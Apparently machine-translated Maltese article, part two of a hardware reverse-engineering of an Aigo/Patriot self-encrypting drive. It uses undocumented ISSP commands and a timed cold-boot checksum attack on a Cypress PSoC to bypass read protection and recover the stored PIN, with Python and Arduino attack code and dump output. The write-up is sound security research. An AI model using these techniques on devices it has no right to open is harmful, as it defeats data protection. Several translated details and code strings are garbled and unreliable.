It-treġġigħ lura u l-hacking tad-drajv tal-HDD estern awto-kriptaġġ ta 'Aigo. Parti 2: Teħid ta' miżbla minn Cypress PSoC

Din hija t-tieni u l-aħħar parti ta 'l-artikolu dwar il-hacking drives awto-kriptaġġ esterni. Ħa nfakkar li kollega dan l-aħħar ġabli hard drive Patriot (Aigo) SK8671, u ddeċidejt li nreġġa' lura, u issa qed naqsam dak li ħareġ minnha. Qabel ma taqra aktar, kun żgur li taqra l-ewwel parti oġġetti.

4. Nibdew nieħdu dump mill-flash drive intern tal-PSoC
5. Protokoll ISSP
– 5.1. X'inhu ISSP
– 5.2. Vetturi Demistifikanti
– 5.3. Komunikazzjoni mal-PSoC
– 5.4. Identifikazzjoni ta' reġistri fuq iċ-ċippa
– 5.5. Bits tas-sigurtà
6. L-ewwel attakk (fallut): ROMX
7. It-Tieni Attakk: Cold Boot Tracing
– 7.1. Implimentazzjoni
– 7.2. Qari tar-riżultat
– 7.3. Rikostruzzjoni binarja flash
– 7.4. Sib l-indirizz tal-ħażna tal-kodiċi PIN
– 7.5. Teħid ta’ miżbla tal-blokk Nru 126
– 7.6. Irkupru tal-kodiċi PIN
8. X'inhu jmiss?
9. Konklużjoni

It-treġġigħ lura u l-hacking tad-drajv tal-HDD estern awto-kriptaġġ ta 'Aigo. Parti 2: Teħid ta' miżbla minn Cypress PSoC


4. Nibdew nieħdu dump mill-flash drive intern tal-PSoC

Allura, kollox jindika (kif waqqafna f'[l-ewwel parti]()) li l-kodiċi PIN jinħażen fil-fond tal-flash tal-PSoC. Għalhekk, għandna bżonn naqraw dawn il-fond tal-flash. Quddiem ix-xogħol meħtieġ:

  • tieħu l-kontroll tal-"komunikazzjoni" mal-mikrokontrollur;
  • issib mod kif tiċċekkja jekk din il-“komunikazzjoni” hijiex protetta mill-qari minn barra;
  • issib mod biex tevita l-protezzjoni.

Hemm żewġ postijiet fejn jagħmel sens li tfittex kodiċi PIN validu:

  • memorja flash interna;
  • SRAM, fejn il-kodiċi tal-pin jista 'jinħażen biex jitqabbel mal-kodiċi tal-pin imdaħħal mill-utent.

Meta nħares 'il quddiem, ser ninnota li xorta rnexxieli nieħu dump tal-flash drive intern tal-PSoC - billi qabeż is-sistema ta' sigurtà tagħha billi tuża attakk ta 'hardware imsejjaħ "cold boot tracing" - wara li nreġġa' lura l-kapaċitajiet mhux dokumentati tal-protokoll ISSP. Dan ippermetta li nitfa' direttament il-kodiċi PIN attwali.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Kodiċi tal-programm finali:

5. Protokoll ISSP

5.1. X'inhu ISSP

"Komunikazzjoni" ma 'mikrokontrollur tista' tfisser affarijiet differenti: minn "bejjiegħ għal bejjiegħ" għal interazzjoni bl-użu ta 'protokoll serjali (per eżempju, ICSP għall-PIC ta' Microchip).

Cypress għandu l-protokoll proprjetarju tiegħu stess għal dan, imsejjaħ ISSP (protokoll ta’ programmazzjoni serjali fis-sistema), li huwa parzjalment deskritt f’ speċifikazzjoni teknika. Privattiva US7185162 jagħti wkoll xi informazzjoni. Hemm ukoll ekwivalenti OpenSource imsejjaħ HSSP (se nużawh ftit aktar tard). L-ISSP jaħdem kif ġej:

  • reboot PSoC;
  • joħroġ in-numru maġiku lill-pin tad-dejta tas-serje ta 'dan il-PSoC; biex tidħol fil-mod ta 'programmazzjoni esterna;
  • ibgħat kmandi, li huma kordi bits twal imsejħa "vettors".

Id-dokumentazzjoni tal-ISSP tiddefinixxi dawn il-vettori għal numru żgħir ta' kmandi biss:

  • Inizjalizza-1
  • Inizjalizza-2
  • Inizjalizza-3 (għażliet 3V u 5V)
  • ID-SETUP
  • AQRA-ID-KELMA
  • SET-BLOCK-NUM: 10011111010dddddddd111, fejn dddddddd=blokk #
  • TĦASSAR BIL-BULK
  • PROGRAMM-BLOCK
  • VERIFIKA-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, fejn DDDDDDDD = data out, aaaaaa = indirizz (6 bits)
  • WRITE-BYTE: 10010aaaaaadddddd111, fejn dddddddd = data in, aaaaaa = indirizz (6 bits)
  • SEGURA
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, fejn DDDDDDDDDDDDDDDD = data barra: checksum tat-tagħmir
  • ĦASSRA BLOCK

Pereżempju, il-vettur għal Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Il-vettori kollha għandhom l-istess tul: 22 bit. Id-dokumentazzjoni tal-HSSP għandha xi informazzjoni addizzjonali dwar ISSP: "Vettur ISSP mhu xejn aktar minn sekwenza ta' bit li tirrappreżenta sett ta' struzzjonijiet."

5.2. Vetturi Demistifikanti

Ejja naraw x'inhu għaddej hawn. Inizjalment, assumejt li dawn l-istess vectors kienu verżjonijiet mhux maħduma ta 'struzzjonijiet M8C, iżda wara li ċċekkja din l-ipoteżi, skoprejt li l-opcodes tal-operazzjonijiet ma kinux jaqblu.

Imbagħad I googled-vettur hawn fuq u sab dan studju fejn l-awtur, għalkemm ma jidħolx fid-dettall, jagħti xi suġġerimenti utli: “Kull istruzzjoni tibda bi tliet bits li jikkorrispondu għal waħda minn erba’ mnemoniċi (aqra minn RAM, ikteb ma’ RAM, aqra reġistru, ikteb reġistru). Imbagħad hemm 8 bits tal-indirizz, segwiti minn 8 bits tad-dejta (qari jew kitba) u fl-aħħar tliet stop bits.”

Imbagħad stajt niġbor xi informazzjoni utli ħafna mit-taqsima ROM Superviżorja (SROM). manwal tekniku. SROM hija ROM hard-coded fil-PSoC li tipprovdi funzjonijiet ta' utilità (b'mod simili għal Syscall) għall-kodiċi tal-programm li jaħdem fl-ispazju tal-utent:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Ikkalibra0
  • 09h: Ikkalibra1

Billi nqabblu l-ismijiet tal-vettur mal-funzjonijiet SROM, nistgħu nimmappjaw id-diversi operazzjonijiet appoġġjati minn dan il-protokoll mal-parametri SROM mistennija. Grazzi għal dan, nistgħu niddekodifikaw l-ewwel tliet bits tal-vettori ISSP:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

Madankollu, fehim sħiħ tal-proċessi fuq iċ-ċippa jista 'jinkiseb biss permezz ta' komunikazzjoni diretta mal-PSoC.

5.3. Komunikazzjoni mal-PSoC

Peress li Dirk Petrautsky diġà portabbli Kodiċi HSSP Cypress fuq Arduino, użajt Arduino Uno biex tikkonnettja mal-konnettur ISSP tal-bord tat-tastiera.

Jekk jogħġbok innota li matul ir-riċerka tiegħi, biddilt il-kodiċi ta 'Dirk mhux ħażin. Tista' ssib il-modifika tiegħi fuq GitHub: hawn u l-iskrittura Python korrispondenti għall-komunikazzjoni ma 'Arduino, fir-repożitorju tiegħi cypress_psoc_tools.

Allura, bl-użu ta 'Arduino, l-ewwel użajt biss il-vettori "uffiċjali" għal "komunikazzjoni". Ippruvajt naqra r-ROM interna bl-użu tal-kmand VERIFY. Kif mistenni, ma stajtx nagħmel dan. Probabbilment minħabba l-fatt li l-bits tal-protezzjoni tal-qari huma attivati ​​ġewwa l-flash drive.

Imbagħad ħloqt ftit mill-vettori sempliċi tiegħi stess għall-kitba u l-qari tal-memorja/reġistri. Jekk jogħġbok innota li nistgħu naqraw l-SROM kollu minkejja li l-flash drive huwa protett!

5.4. Identifikazzjoni ta' reġistri fuq iċ-ċippa

Wara li ħares lejn il-vettori "żarmati", skoprejt li l-apparat juża reġistri mhux dokumentati (0xF8-0xFA) biex jispeċifika opcodes M8C, li huma esegwiti direttament, billi jinjora l-protezzjoni. Dan ippermettili nħaddem diversi opcodes bħal "ADD", "MOV A, X", "PUSH" jew "JMP". Grazzi għalihom (billi nħares lejn l-effetti sekondarji li għandhom fuq ir-reġistri) stajt niddetermina liema mir-reġistri mhux dokumentati kienu fil-fatt reġistri regolari (A, X, SP u PC).

Bħala riżultat, il-kodiċi "żarmat" iġġenerat mill-għodda HSSP_disas.rb jidher bħal dan (żidt kummenti għaċ-ċarezza):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Bits tas-sigurtà

F'dan l-istadju diġà nista 'nikkomunika mal-PSoC, iżda għad m'għandix informazzjoni affidabbli dwar il-bits tas-sigurtà tal-flash drive. Kont sorpriż ħafna bil-fatt li Cypress ma jipprovdix lill-utent tal-apparat bl-ebda mezz biex jiċċekkja jekk il-protezzjoni hijiex attivata. Ħaffert aktar fil-fond fil-Google biex finalment nifhem li l-kodiċi HSSP ipprovdut minn Cypress ġie aġġornat wara li Dirk ħareġ il-modifika tiegħu. U għalhekk! Dan il-vettur ġdid deher:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Bl-użu ta 'dan il-vettur (ara read_security_data f'psoc.py), irridu nġibu l-bits tas-sigurtà kollha f'SRAM f'0x80, fejn hemm żewġ bits għal kull blokka protetta.

Ir-riżultat huwa deprimenti: kollox huwa protett fil-modalità ta '"tiddiżattiva qari u kitba esterni". Għalhekk, mhux biss ma nistgħu naqraw xejn minn flash drive, iżda lanqas ma nistgħu niktbu xejn (per eżempju, biex ninstallaw dumper ROM hemmhekk). U l-uniku mod biex tiddiżattiva l-protezzjoni huwa li tħassar kompletament iċ-ċippa kollha. 🙁

6. L-ewwel attakk (fallut): ROMX

Madankollu, nistgħu nippruvaw il-trick li ġej: peress li għandna l-abbiltà li tesegwixxi opcodes arbitrarji, għaliex ma tesegwixxix ROMX, li jintuża biex taqra l-memorja flash? Dan l-approċċ għandu ċans tajjeb ta’ suċċess. Minħabba li l-funzjoni ReadBlock li taqra data mill-SROM (li tintuża minn vectors) tiċċekkja jekk tissejjaħx mill-ISSP. Madankollu, l-opcode ROMX jista' jkun li ma jkollux tali kontroll. Allura hawn il-kodiċi Python (wara li żżid ftit klassijiet helper mal-kodiċi Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Sfortunatament dan il-kodiċi ma jaħdimx. 🙁 Jew aħjar jaħdem, iżda fl-output aħna nġibu l-opcodes tagħna stess (0x28 0x30 0x40)! Ma naħsibx li l-funzjonalità korrispondenti tal-apparat hija element ta 'protezzjoni tal-qari. Dan huwa aktar bħal trick ta 'inġinerija: meta tesegwixxi opcodes esterni, ix-xarabank ROM jiġi ridirett għal buffer temporanju.

7. It-Tieni Attakk: Cold Boot Tracing

Peress li t-trick ROMX ma ħadimx, bdejt naħseb dwar varjazzjoni oħra ta 'dan it-trick - deskritta fil-pubblikazzjoni "Jitfa' wisq Dawl fuq il-Protezzjoni tal-Firmware ta' Mikrokontrollur".

7.1. Implimentazzjoni

Id-dokumentazzjoni tal-ISSP tipprovdi l-vector li ġej għal CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Dan essenzjalment isejjaħ il-funzjoni SROM 0x07, kif ippreżentata fid-dokumentazzjoni (korsiv tiegħi):

Din il-verifika ta 'checksum tal-funzjoni. Jikkalkula checksum ta '16-bit tan-numru ta' blokki speċifikati mill-utent f'bank flash wieħed, li jibda minn żero. Il-parametru BLOCKID jintuża biex jgħaddi n-numru ta' blokki li se jintużaw meta tiġi kkalkulata ċ-checksum. Valur ta' "1" se jikkalkula biss iċ-checksum għall-blokk żero; billi "0" se tikkawża li tiġi kkalkulata l-checksum totali tal-256 blokk kollha tal-bank flash. Iċ-checksum ta' 16-il bit jintbagħat lura permezz ta' KEY1 u KEY2. Il-parametru KEY1 jaħżen it-8 bits ta 'ordni baxx taċ-checksum, u l-parametru KEY2 jaħżen it-8 bits ta' ordni għolja. Għal apparati b'diversi banek flash, il-funzjoni ta 'checksum tissejjaħ għal kull wieħed separatament. In-numru tal-bank li se jaħdem miegħu huwa stabbilit mir-reġistru FLS_PR1 (billi tissettja l-bit fiha li tikkorrispondi mal-bank flash fil-mira).

Innota li din hija checksum sempliċi: il-bytes huma sempliċement miżjuda waħda wara l-oħra; ebda quirks CRC fancy. Barra minn hekk, billi naf li l-qalba M8C għandha sett żgħir ħafna ta 'reġistri, assumejt li meta tikkalkula ċ-checksum, valuri intermedji se jiġu rreġistrati fl-istess varjabbli li fl-aħħar mill-aħħar imorru għall-output: KEY1 (0xF8) / KEY2 ( 0xF9).

Allura fit-teorija l-attakk tiegħi jidher bħal dan:

  1. Aħna nikkonnettjaw permezz tal-ISSP.
  2. Nibdew il-kalkolu tas-checksum bl-użu tal-vettur CHECKSUM-SETUP.
  3. Aħna nibdew mill-ġdid il-proċessur wara żmien speċifikat T.
  4. Naqraw RAM biex niksbu ċ-checksum kurrenti C.
  5. Irrepeti l-passi 3 u 4, u żid T ftit kull darba.
  6. Nirkupraw data minn flash drive billi nnaqqsu ċ-checksum preċedenti C minn dik attwali.

Madankollu, hemm problema: il-vettur Initialize-1 li għandna nibagħtu wara li reboot jissostitwixxi KEY1 u KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Dan il-kodiċi jissostitwixxi ċ-checksum prezzjuż tagħna billi ċċempel Calibrate1 (funzjoni SROM 9)... Forsi nistgħu sempliċement nibagħtu n-numru maġiku (mill-bidu tal-kodiċi ta 'hawn fuq) biex tidħol fil-mod ta' programmazzjoni, u mbagħad aqra l-SRAM? U iva, taħdem! Il-kodiċi Arduino li jimplimenta dan l-attakk huwa pjuttost sempliċi:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Aqra checkum_delay.
  2. Mexxi l-kalkolu tas-checksum (send_checksum_v).
  3. Stenna għal perjodu speċifikat ta 'żmien; filwaqt li jitqiesu l-iżvantaġġi li ġejjin:
    • Ħlejt ħafna ħin sakemm sirt naf x'jirriżulta dewmienMikrosekondi jaħdem b'mod korrett biss b'dewmien li ma jaqbiżx 16383 μs;
    • u mbagħad għal darb'oħra qatlet l-istess ammont ta 'ħin sakemm skoprejt li delayMicroseconds, jekk 0 jiġi mgħoddi lilha bħala input, jaħdem kompletament ħażin!
  4. Ibgħat mill-ġdid il-PSoC fil-mod ta 'programmar (aħna nibagħtu biss in-numru maġiku, mingħajr ma nibagħtu vettori ta' inizjalizzazzjoni).

Kodiċi finali f'Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Fil-qosor, x'jagħmel dan il-kodiċi:

  1. Jibda mill-ġdid il-PSoC (u jibgħatlu numru maġiku).
  2. Tibgħat vettori ta 'inizjalizzazzjoni sħiħa.
  3. Isejjaħ il-funzjoni Arduino Cmnd_STK_START_CSUM (0x85), fejn id-dewmien f'mikrosekondi jgħaddi bħala parametru.
  4. Taqra l-checksum (0xF8 u 0xF9) u r-reġistru mhux dokumentat 0xF1.

Dan il-kodiċi jiġi esegwit 10 darbiet f'mikrosekonda. 1xF0 huwa inkluż hawnhekk għaliex kien l-uniku reġistru li nbidel meta kkalkolat iċ-checksum. Forsi huwa xi tip ta 'varjabbli temporanju użat mill-unità loġika aritmetika. Innota l-hack ikrah li nuża biex reset l-Arduino billi tuża picocom meta l-Arduino jieqaf juri sinjali tal-ħajja (mhux idea għaliex).

7.2. Qari tar-riżultat

Ir-riżultat tal-iskrittura Python jidher bħal dan (simplifikat biex jinqara):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Dan ingħad, għandna problema: peress li qed naħdmu b'checksum attwali, byte null ma jbiddilx il-valur moqri. Madankollu, peress li l-proċedura ta 'kalkolu kollha (8192 bytes) tieħu 0,1478 sekondi (b'varjazzjonijiet ħfief kull darba li titħaddem), li hija ekwivalenti għal madwar 18,04 μs għal kull byte, nistgħu nużaw dan iż-żmien biex niċċekkjaw il-valur taċ-checksum f'ħinijiet xierqa. Għall-ewwel ġirjiet, kollox jinqara pjuttost faċilment, peress li t-tul tal-proċedura ta 'komputazzjoni huwa dejjem kważi l-istess. Madankollu, it-tmiem ta’ din id-dump huwa inqas preċiż minħabba li d-“devjazzjonijiet minuri fil-ħin” fuq kull ġirja jammontaw biex isiru sinifikanti:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Dak huwa 10 miżbliet għal kull dewmien ta 'mikrosekonda. Il-ħin operattiv totali għad-dumping tat-8192 bytes kollha ta 'flash drive huwa ta' madwar 48 siegħa.

7.3. Rikostruzzjoni binarja flash

Għadni ma lestejtx nikteb il-kodiċi li se jibni mill-ġdid kompletament il-kodiċi tal-programm tal-flash drive, b'kont meħud tad-devjazzjonijiet kollha tal-ħin. Madankollu, diġà rrestawrajt il-bidu ta 'dan il-kodiċi. Biex niżgura li għamilt b'mod korrett, żarmajtha bl-użu ta 'm8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Jidher pjuttost plawsibbli!

7.4. Sib l-indirizz tal-ħażna tal-kodiċi PIN

Issa li nistgħu naqraw iċ-checksum fil-ħinijiet li għandna bżonn, nistgħu faċilment niċċekkjaw kif u fejn tinbidel meta aħna:

  • daħħal il-kodiċi PIN ħażin;
  • ibdel il-kodiċi tal-pin.

L-ewwel, biex issib l-indirizz tal-ħażna approssimattiv, ħadt checksum dump f'żidiet ta '10 ms wara reboot. Imbagħad daħħalt il-PIN ħażin u għamilt l-istess.

Ir-riżultat ma kienx pjaċevoli ħafna, peress li kien hemm ħafna bidliet. Imma fl-aħħar stajt niddetermina li ċ-checksum inbidlet xi mkien bejn 120000 µs u 140000 µs ta’ dewmien. Iżda l-"pincode" li wrejt hemm kien kompletament żbaljat - minħabba artifatt tal-proċedura delayMicroseconds, li tagħmel affarijiet strambi meta 0 jiġi mgħoddi lilha.

Imbagħad, wara li qattajt kważi 3 sigħat, ftakart li s-sejħa tas-sistema SROM CheckSum tirċievi argument bħala input li jispeċifika n-numru ta 'blokki għaċ-checksum! Dik. nistgħu faċilment nillokalizzaw l-indirizz tal-ħażna tal-kodiċi PIN u l-counter ta '"tentattivi mhux korretti", bi preċiżjoni sa blokk ta' 64 byte.

Il-ġirjiet inizjali tiegħi pproduċew ir-riżultat li ġej:

It-treġġigħ lura u l-hacking tad-drajv tal-HDD estern awto-kriptaġġ ta 'Aigo. Parti 2: Teħid ta' miżbla minn Cypress PSoC

Imbagħad biddilt il-kodiċi PIN minn "123456" għal "1234567" u sibt:

It-treġġigħ lura u l-hacking tad-drajv tal-HDD estern awto-kriptaġġ ta 'Aigo. Parti 2: Teħid ta' miżbla minn Cypress PSoC

Għalhekk, il-kodiċi PIN u l-counter ta 'attentati mhux korretti jidhru li huma maħżuna fil-blokk Nru 126.

7.5. Teħid ta’ miżbla tal-blokk Nru 126

Blokk #126 għandu jkun jinsab x'imkien madwar 125x64x18 = 144000μs, mill-bidu tal-kalkolu tas-checksum, fid-dump sħiħ tiegħi, u jidher pjuttost plawżibbli. Imbagħad, wara li għamilt manwalment bosta miżbliet invalidi (minħabba l-akkumulazzjoni ta '"devjazzjonijiet ta' ħin minuri"), spiċċajt nikseb dawn il-bytes (f'latency ta '145527 μs):

It-treġġigħ lura u l-hacking tad-drajv tal-HDD estern awto-kriptaġġ ta 'Aigo. Parti 2: Teħid ta' miżbla minn Cypress PSoC

Huwa pjuttost ovvju li l-kodiċi PIN huwa maħżun f'forma mhux encrypted! Dawn il-valuri, ovvjament, mhumiex miktuba f'kodiċi ASCII, iżda kif jirriżulta, jirriflettu l-qari meħud mit-tastiera abilità.

Fl-aħħarnett, għamilt xi testijiet oħra biex insib fejn kien maħżun il-counter tal-attentat ħażin. Hawn hu r-riżultat:

It-treġġigħ lura u l-hacking tad-drajv tal-HDD estern awto-kriptaġġ ta 'Aigo. Parti 2: Teħid ta' miżbla minn Cypress PSoC

0xFF - tfisser "15-il tentattiv" u jonqos ma' kull tentattiv fallut.

7.6. Irkupru tal-kodiċi PIN

Hawn il-kodiċi ikrah tiegħi li jgħaqqad dan ta' hawn fuq:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Hawn hu r-riżultat tal-eżekuzzjoni tiegħu:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Ħura! Xogħlijiet!

Jekk jogħġbok innota li l-valuri ta' latenza li użajt x'aktarx huma rilevanti għal PSoC speċifiku wieħed - dak li użajt.

8. X'inhu jmiss?

Allura, ejja nġabru fil-qosor fuq in-naħa tal-PSoC, fil-kuntest tas-sewqan tagħna Aigo:

  • nistgħu naqraw SRAM anke jekk jinqara protett;
  • Nistgħu naqbdu l-protezzjoni kontra l-iswipe billi nużaw attakk ta 'traċċa ta' boot kiesaħ u naqraw direttament il-kodiċi PIN.

Madankollu, l-attakk tagħna għandu xi difetti minħabba problemi ta 'sinkronizzazzjoni. Jista' jittejjeb kif ġej:

  • ikteb utilità biex tiddekodifika b'mod korrett id-dejta tal-output li tinkiseb bħala riżultat ta 'attakk ta' "cold boot trace";
  • uża gadget FPGA biex toħloq dewmien fil-ħin aktar preċiż (jew uża tajmers tal-ħardwer Arduino);
  • ipprova attakk ieħor: daħħal kodiċi PIN deliberatament żbaljat, reboot u dump RAM, bit-tama li l-kodiċi PIN korrett se jiġi ffrankat fir-RAM għal tqabbil. Madankollu, dan mhux daqshekk faċli li tagħmel fuq Arduino, peress li l-livell tas-sinjal Arduino huwa ta '5 volts, filwaqt li l-bord li qed neżaminaw jaħdem b'sinjali ta' 3,3 volts.

Ħaġa waħda interessanti li tista 'tiġi ppruvata hija li tilgħab mal-livell tal-vultaġġ biex tevita l-protezzjoni tal-qari. Kieku dan l-approċċ ħadem, inkunu nistgħu niksbu data assolutament preċiża mill-flash drive - minflok niddependu fuq il-qari ta 'checksum b'dewmien ta' ħin mhux preċiż.

